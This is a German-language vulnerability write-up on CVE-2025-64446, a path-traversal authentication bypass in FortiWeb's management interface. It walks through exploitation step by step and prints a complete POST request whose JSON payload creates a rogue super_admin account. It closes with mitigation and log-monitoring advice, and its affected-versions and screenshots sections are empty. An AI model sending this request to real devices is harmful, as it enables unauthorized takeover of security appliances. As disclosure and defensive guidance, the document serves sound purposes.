---

📌 Überblick

CVE-2025-64446 ist eine schwerwiegende relative Pfad-Traversal-Sicherheitslücke in der Verwaltungsoberfläche der FortiWeb Web Application Firewall.

Ein nicht authentifizierter entfernter Angreifer kann diese Schwachstelle ausnutzen, um die Authentifizierung zu umgehen und neue Administratorbenutzer mit vollen Berechtigungen zu erstellen, was zur vollständigen Kompromittierung des Geräts führt.

• CVSS v3.1 Score: 9.8 (Kritisch)
• Angriffstyp: Nicht authentifiziert, remote
• Auswirkung: Vollständige administrative Übernahme
• Status: Wird aktiv im Internet ausgenutzt

---

🛠️ Betroffene Versionen

Empfehlung: Aktualisieren Sie so schnell wie möglich auf die neueste gepatchte Version.

---

🔥 Wie Angreifer diese Sicherheitslücke ausnutzen

Schritt-für-Schritt-Ausnutzung

1. Zielidentifikation
   Der Angreifer scannt nach öffentlich zugänglichen FortiWeb-Verwaltungsoberflächen (normalerweise auf HTTPS-Port 443 oder 8443).

2. Erstellen der bösartigen Anfrage
   Kern des Exploits ist eine relative Pfad-Traversal (../) kombiniert mit einer speziell gestalteten URL, die einen internen nicht authentifizierten CGI-Endpunkt erreicht.

   Muster des verwundbaren Endpunkts:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Senden des Exploits

   Der Angreifer sendet eine einzelne POST-Anfrage mit JSON-Payload, um ein neues Administratorkonto zu erstellen.

   Beispiel-Exploit-Anfrage:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Erfolgreiche Ausnutzung

   Im Erfolgsfall erstellt FortiWeb das neue Admin-Konto ohne vorherige Authentifizierung. Der Angreifer kann sich dann mit den neu erstellten Anmeldedaten anmelden und die vollständige Kontrolle über die WAF erlangen.

Warum es funktioniert

Die Verwaltungs-API bereinigt den Pfad nicht ordnungsgemäß, sodass die Anfrage zurück zur alten fwbcgi-Binärdatei traversieren kann, die bei bestimmten Vorgängen keine Authentifizierung erzwingt.

---

📸 Screenshots

---

🛡️ Abhilfe & Best Practices

• Aktualisieren Sie FortiWeb sofort auf eine behobene Version
• Setzen Sie die Verwaltungsoberfläche niemals direkt dem Internet aus
• Verwenden Sie starke Netzwerksegmentierung und VPN für administrativen Zugriff
• Überwachen Sie Protokolle auf Anfragen, die fwbcgi, ../ oder ungewöhnliche Admin-Erstellungsversuche enthalten
• Überprüfen Sie regelmäßig Administratorkonten auf verdächtige Einträge

---